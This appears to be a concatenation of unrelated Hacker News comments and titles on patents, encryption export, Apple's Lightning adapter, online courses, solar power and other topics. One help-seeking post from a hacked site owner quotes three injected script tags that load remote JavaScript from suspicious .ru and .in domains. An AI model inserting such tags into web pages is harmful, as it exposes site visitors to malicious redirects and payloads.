skysight-inc/HackerNews huggingface dataset:
That was my thought - i couldn't see why this would make things better (you don't remove trolls, but people who we don't want to consider trolls would now run the risk of simply being outspent and then bankrupted -> which could "hilariously" result in them selling the IP to an actual troll...).

I think the fix would be to stop allowing overly broad patents (eg. actually say how what you're doing what you're claiming, instead of saying "i have an idea" and not saying how to do it)
(Presumably) Apple engineer comment on Lightning AV adapter design
No, this is not true. I think Evernote has been misinformed.

If all you are doing is encrypting data with a standard algorithm, it takes less than 30 minutes to fill out the paperwork to get an encryption registration number (ERN). Total turnaround time when I've done it has been about two weeks.

There are some exceptions. If you are trying to export cryptanalytic software or doing something non-standard, you may have delays.

http://www.bis.doc.gov/encryption/enc_faqs.htm
Do you really think nobody was cheating at Pomona & Harvey Mudd? Perhaps those schools follow educational philosophies that deemphasize relative performance like Brown's gradeless system or emphasizing "cooperation" over individual ability. If your performance did not matter then perhaps there would be no incentive to cheat (or study). However these students are still humans and humans are lazy, greedy and proud - thus prone to cheating.

Maybe because they are small and there is no incentive to publicize episodes of cheating and damage their brand no stories have come out yet. Still a quick search finds several articles indicating concerns at these schools. And sister school Claremont McKenna has had several major scandals in recent years.

I wish there were angels who we could trust to always be honest (imagine how well government would run!) but we only have humans. Many are honest much if not all of the time but how can we ever know who or when with any certainty. Sadly this is a curse we cannot escape. These and the other human weaknesses are ultimately responsible for so many of our persistent problems.

http://blogs.pomona.edu/eng87-2012f/2012/11/12/what-does-pom...

http://www.insidehighered.com/news/2010/06/23/essays

http://www.claremontportside.com/print-edition/april-2011-is...
I've tried using Bing several times in the past just to give them a fair chance, but every time came back to Google. They are really not at par in the search business. Actually no other company except Google got hold of the nerve of internet searching.
I seriously doubt the PC, radio, and TV examples. The benefits of radio would have been immediately obvious; the same with television. Nor were PCs considered a toy; they were simply too expensive for most families and businesses to own.

And indeed, with regards to radio, an operating radio station was built merely a year after the inventor received a patent for the first successful method of radio transmission (and within a decade of the first successful radio transmission). The first television station was built within 3 years after the first working TV (capable of showing moving images) was built.

Search was not considered non-monetizable; it simply was not as monetizable as a portal based on the technology prevalent when Yahoo--or even Google--launched. Google did not invent the business of bidding for search terms--it licensed the Overture's keyword bidding technology and later bought Applied Semantics (which developed and commercialized the technology that is now known as Adsense), which is what allowed it to monetize search. (If Yahoo hadn't granted Google that license, Google wouldn't be here today.)
I think the main takeaway is that yes, lightning is future proof and can adapt to any output you want it to.

I do wonder what's the reason for encode/decode cycle was in the first place though.
I love how this post points out a problem and fixes it at the same time.
Ask HN: Unable to install APK on Chinese android phones
Unable to install APK on Chinese android phones

We have completed our Android application, however we have been unable to install it on any Chinese android phones. The APK can even be uploaded and listed successfully on Chinese domestic android stores. However, upon attempting to install the APK, the phones get an error message:

"Application not installed" or ”应用程序未安装“

We have also tested installation with our very very early and simple APK versions from when we were just getting started, and we get the same installation problems when we try to install on Chinese devices, so it is not a problem related to more complex modules - it is a fundamental incompatibility. We have tried both new and old Android devices from different manufacturers.

The APK can successfully be installed on Hong Kong devices that are set up with Chinese language, so Chinese language compatibility is not the issue.

Please let us know if you have ever faced this problem, or if you could suggest potential solutions.

Thanks a lot,
Jonathan and Lynn
May be someone fixed something, but I'm seeing stackoverflow as the top result now for both with or without inverted commas.
The first time I had to contact Netflix support was actually while I was attempting to give them my money and sign up. For some reason their systems were rejecting all new signups and their customer support was in complete disarray. Took me 45 minutes on the phone (44 minutes and 30 seconds on hold) to confirm I wasn't the only person having a problem.

With that experience in mind, I am not terribly surprised other people have had issues.
I doubt that. Sugar and HFCS are essentially the same thing, produced in different ways. Sugar (sucrose) is a 50/50 split between glucose and fructose. HFCS has more fructose in it, generally around 65/35.

There's a danger from using too much HFCS in the replacement, but really, saying sugar is healthier than HFCS is akin to saying that it's better to be punched kickboxer than a boxer.
I don't understand how a solar thermal collector is in any way simpler than a photovoltaic array. Actually, it seems more complex to me. Again, could you explain?
Whatever facile point this article had, it immediately blew it by saying Bitcoin and NoSQL are the wave of the future.
Free Philip K. Dick: Download 11 Great Science Fiction Stories | Open Culture
Also ranking highly: Bullshit sites that simply scrape StackOverflow and re-present its content in a tiny column surrounded by ads. And of course Google was supposed to add (or restore?) the means to block sites from search results, but month after month they still don't do it.
Let's be clear about this, Google's really been in the hardware business for about what.. a year, maybe 1.5? Any product pre that was developer oriented. I don't think you can expect a company to be shipping 10 million units when it has really only started to tackle general market hardware, let alone compare them to a 30+ year old manufacturer. For starters the market adoption has barely begun in the public eye.

That said though, they are starting to do what matters most, build great products... and that is what is the start to market acceptance. Guaranteed success? No... but certainly looking like they are figuring it out.
This is incredibly true. Though, the main thing keeping me in line right now, is that I'm just over a year away from moving to where I really want to be- Seattle!

Once I'm there, I don't know what I'm gonna do. Probably program at a cafe every day.
Ask HN: website getting hacked through code injection
hi HN,
for the past 4-5 days every night my website is somehow hacked and some javascript codes which redirect to a php page are inserted in my code. The problem is i know the server is not compromised cause the only access to the server through RDP is allowed through my IP on the firewall. aside from that it's only open on port 80,110 and 25.

also the date modified on the php script being edited doesn't change. it stays the same even though they are adding code to it. i've installed a malware inspector on the server and it didn't return anything.

i did some digging and made sure there are no "eval" code in my php sites and now i'm out of ideas. i remove the injection code but looks like every night at 12am it gets put back in somehow.

i looked at the IIS logs on the server and don't see any hits for those URLS. can you please help me and guide me on how to start troubleshooting this and pinpointing it down in my code to see where the attacker is getting in?

the code they inject is below:
<script type="text/javascript" src="http://in-sss.ru/code/js.php?i=5837&r=10568&p=12914&c=8"></script>
<script type="text/javascript" src="http://wap-ttd.in/code/js.php?i=5837&r=10568&p=12914&c=8"></script>
<script type="text/javascript" src="http://mnogo-code.ru/code/js.php?i=5837&r=10568&p=12914&c=8"></script>

thanks
38 exits north of $100M in five years and only 9 beyond $1B.

If making an exit is what you dream for, you might want to look at the $1-10M class which is much more likely to happen and would still provide for a comfortable life.

What can you do with $1B that you can't do with $3M?
Arguing about low completion rates when projected across 20-40 classes is only showing you're stuck in an old, clunky way of thinking.

Points to think on:

1. You're acting like dragging students through a muck of 20-30 TA or GTF taught classes, that are outside the student's major, and often outside their interests due to strict guidelines for class choices for gen-ed, is the gold standard of a good education. Check your premises as to the value of such a program and the resulting degree. I would argue, quite easily, that a student completing 10 Coursera classes in the field their interested in, already outweighs, in usefulness towards personal and career skills, those 20-30 gen-ed classes and probably provides a higher quality of education for the remaining major courses.

2. My experience is with Coursera, so I will only make points based on that. Coursera is finding the nation's (maybe even world's) best teachers for each subject. You may be able to go to Stanford and get a couple of the best experts to teach you on their subject, but any given bachelors program can only hope to have 1 best-in-class teacher. I have taken 2 Coursera classes, and can tell you the quality of the teaching is much, MUCH higher than my bachelor's program. There's really no comparison of the level of quality of the education from a Coursera class, to any non absolute top of the top tier schools.

3. These are retention rates with absolutely no external rewards. You might get a certificate (of no explicit value) if you're lucky. But there are no degree programs, there really is no external motivation (or negative reinforcement) around class completion. To compare the figures with traditional universities, where students have numerous external motivations, consequences for failing, etc. is just naive, inconsequential, stupid, etc.
VPN Services That Take Your Anonymity Seriously
Ugh. Articles like this make me want to join the PHP sucks crowd, and I really hate the PHP sucks crowd.
Corollary: CS doesn't need to be a science
Eeeeee is the sound a dolphin makes.
For the second one, please listen to Psycho Killer by The Talking Heads
If new people picking up the app have a problem simulating users, then how do you assume your users will go about picking up the up to actually use it?
Amazon AutoRip is another nice touch. Every music CD I've ever purchased with them over the years is not available to me in the cloud as if I had purchased the MP3s as well.

Now if only we could do the same with Kindle.
Hasn't this argument been put to bed a long time ago? Are there still people not burned by semantic keys or unconvinced by decades of education?
They are also closer to the consumer, negating a big chunk of the transmission losses.

Also, while thermal electric plants may be more efficient at large scale, I'm not sure how that works at small scale, or if there is a difference in how much capacity they lose in cloudy weather compared to photovoltaics. Actually, I wonder what the ratio of installed photovoltaics to thermals is per region and generator scale.
It wasn't a joke, I didn't explain myself properly.
When some people pick up their heavy suitcase after slouching for a few hours, their back locks in and the airport has to put them in a wheelchair and take care of them and their luggage. Having people walk a few minutes more actually reduces the chances of that happening.
generally you are right, it would be far easier to hide these kind of choices if the language allowed it.

However currently javascript has a purely event driven model and this means that you have trouble fitting in even a purely CPU bound computation, as it would block the responsiveness of your UI (or other concurrent requests if your are doing server side JS). That's why there was a need for creating something like WebWorkers.
One other pretty common (and slightly less imaginary) trick is to nudge the master fader up about 1dB and play the same mix again for the client. For some psychoacoustic reason I don't fully grok, we perceive things as sounding better when they're louder, even if the difference is too small to register consciously.
Just curious - Why after all this mess, didn't Rap genius recommend Engine Yard (Heroku's competitor). Is it because they had similar issues too, or did they simply ignore not trying to switch over to a different provider altogether? Just curious.
This post is brief, but not fluffy. I wish he had dug more into the forces at work here. But it is an important point nonetheless.

And we on HN could do better than merely dismiss it. We could try to dig into the underlying forces ourselves. E.g. not all hobbies consist of making the Apple I. So which do, and why? Are the things called hobbies two different types of work that are conflated by clueless observers simply because they're not the worker's day job? Or is there some amount of crossover between inventing the future and merely playing around?

Instead the top comment is the forum analogue of a fluff post: a cynical dismissal based on some presumed bad intention on the writer's part.
Yes, but the breakup fee for wasting 18-24 months at their stage might not have been enough.
Ask HN: What is the fastest sequential FLOPS?
I perform molecular dynamics (MD) simulations using a large number of parallel processor cores. As more atoms are added to a system, more cores can be added to handle them. Computational power is still mostly following Moore's law, so in the next few years, vastly larger systems will be capable of being simulated.

However, one problem is that the speed of an individual processor core hasn't improved very much in a while. This poses a scientific problem in that it becomes very difficult to simulate systems past a few microseconds. Special purpose computers such as Anton [ http://en.wikipedia.org/wiki/Anton_(computer) ] have been built using highly-specialized ASICs that can reach into the millisecond timescales, but I'm afraid scientific discovery in the seconds range (for MD) is not going to ever happen unless we either 1) suddenly discover a new technology for increasing transistor speed or 2) develop ground-breaking simulation algorithms.

My question is: what is the fastest sequential FLOPS that a general purpose, commodity processor can currently achieve?
Yes, keep telling yourself that

You see, you are already answering things in a menacing tone, I think you may be a risk to others, and maybe to yourself.
He doesn't say, but probably because they just don't have the bandwidth.

And thats where all this future proof talk goes deaf. New interfaces will only have more bandwidth, thats the whole point. Meanwhile, Lightning still has the same bandwidth and theres still a considerable penalty in serializing any other interface.

If they can't even do 1080p lossless right now, they are in much deeper trouble for the future.
What mostly bothers me is the commute, if I can get to the office at any given workplace within half an hour or less door-to-door (preferably 15 minutes & not via car) the barriers to coming to the office are significantly reduced.

At any rate I think the optimal situation for me is a mix of both.
Yes, the comment quality on HN seems to be quite bad when it comes to Heroku threads. Why do so many CS professionals appear to be attaching themselves emotionally to software tools? That's pretty much what I have to conclude if you can't admit that this PaaS provider has screwed up and deserves more scrutiny when deciding for the platform of your next project/migration.

Isn't one of the great things about the Software startup scene that we can decide freely on what tools to use? Except for very niche markets we always have alternatives, even if it means a bit more work on our sides.
"As a side note, I also found it funny that many are worried that the "prestige" of Harvard is besmirched, because the original meaning (now obsolete) of prestige was
An illusion; a conjuring trick; a deception, an imposture."

Great point...

Of course prestige is the primary product for sale at such a place of business.
Ask HN: Where do you go for inspiration?
How do you stay motivated and inspired to work on your side projects? I have some stuff I'm working on, but haven't cracked the nut on making consistent progress yet.

I keep thinking of that Antoine de Saint-Exupery (dude who wrote The Little Prince) quote "If you want to build a ship, don't drum up people together to collect wood and don't assign them tasks and work, but rather teach them to long for the endless immensity of the sea.” I'm trying to keep loving "the immensity of the sea" in my side projects, but finding it difficult. What works for you?
On a society wide scale? We only need as much solar power as is taken up by rooftops if we have effective storage. Once you start reaching 25% penetration of electric cars hooked to the grid, it's compensation for base load.
That used to be the situation for me (or at least I thought it was), but after a few years of being self employed (and most of that time having no choice but to make working from home function) I now have no problems being productive at home (or at least not much more so than at the office).
I would have believed you if I weren't working for a website with large emails campaigns. And this comment wasn't even aimed at "the developer", not really — but at anyone involved in decisions like this.
In this case one could simply write a script that forwards the request from your own domain to the third party system. It could be done on the server in such a way that the user would never leave your own domain:

1. User clicks http://links.example.com/?redirect=example.com/reset_passwor...

2. The server running on links.example.com makes a request to the third party web server

3. The server redirects the user to http://example.com/reset_password
To clarify, when I said radio, I mean it as the broadcast medium we know today, not just the point to point wireless analog transmission. It's only obvious to you the benefit of radio as a broadcast medium, because you live in the future.

"By 1916, along with Armstrong and de Forest, [David Sarnoff] was using his newfound fame to push the idea of commercial radio, something he called the "wireless music box," although this idea was before its time. Even as late as 1920, one potential investor wrote him to say, "The wireless music box has no imaginable commercial value. Who would pay for a message sent to nobody in particular?"
Even the Marconi Company, his employer, rejected the idea of radio as anything but a communications medium. So he went to work for the Radio Corporation of America [RCA] in 1920.
-- Radio Pioneers enter story of the wire on David Sarnoff's associates in response to his urgings for investment in radio." http://www.radioworld.com/article/radio-pioneers-enter-story...

"While theoretically and technically television may be feasible, commercially and financially I consider it an impossibility, a development of which we need waste little time dreaming."
-- Wikiquotes -- Lee DeForest, American radio pioneer and inventor of the vacuum tube, http://en.wikiquote.org/wiki/Incorrect_predictions#Televisio...

As for the PC, I don't have a quote. But I remember IBM was the way "serious people" had their computational needs met, and it was not PCs.

I never made claims that Google invented the business of bidding for search terms. It is true that search was considered non-monetizable, or if you like, less monetizable. Either way, it wasn't considered fertile ground for making money, but there were people trying anyway--which is my point:

Smart people try things that don't make money, aren't cool, seem weird, etc, and while not all of them will be mainstream in the future, there's a good chance that a some of them will be.
"Harvard provides students with Adderall at no cost with essentially no questions asked."

Can you elaborate on what this means? Can you pretty much just roll into the nurse's office and get some amphetamines?
You seriously quoted a word three times, spelling it differently each time?
This Story Stinks
French Montana Brings Out Meek Mill in Philly
> What wrong-doing did Manning uncover; what crimes?

Here are some US troops shooting at unarmed civilians, children and Reuters journalists. There was never a gun held, or fired except by the US troops...

https://www.youtube.com/watch?v=5rXPrfnU3G0

This is the reality of asymmetric warfare, where doing your job walking down the street in Baghdad can get you killed.

There are 1000's of such incidents we know about thanks to Manning. This happens to be the most graphic and easily understood because it is a video. Other stories are contained in the giant databases and are a couple of hundred words of text.

Personally I uncovered a case in Cablegate where the US Ambassador to Nigeria asked for someone to be rendered to the US without going through the Nigerian Courts. This constitutes extraordinary rendition, moreover, this was pre-911 before extraordinary rendition was known to be widespread.

If anybody actually looks at the material, you'll grasp its significance immediately. Moreover, there is a good chance with 250,000 cables and countless war logs if you see something significant, you are the only person in the world to have recognised the significance of that piece of information.
Thank you! Just took a backup with the desktop tool..
That's funny because most i've met are narrow minded about their own field.
At least when I went chatting with lawyers and interviewing after I first got out of law school, every non-academic lawyer I met in the field of IP law was fairly narrow minded.

Even asking them things that their businesses depended on, like "What do you think will happen as patents on computer implemented inventions become significantly more popular?" and "If large-money companies start suing each other over these kinds of patents, do you think it will eventually cause significant scaling back in what is allowed?"

The answers I got told me that most couldn't even theorize/be visionary/plan about things absolutely critical to their current business//field.

Note: I was talking to people who were managing partners/etc, who were making significant money due to the upswing in patenting software. They were also not stupid people, just, AFAICT, bad at business. Most lawyers i've met are actually very bad at running businesses, but i'll save these stories for another topic.
British Internet users double in six years
Full article:

Crude Comments and Concern: Online Incivility's Effect on Risk Perceptions of Emerging Technologies http://onlinelibrary.wiley.com/doi/10.1111/jcc4.12009/full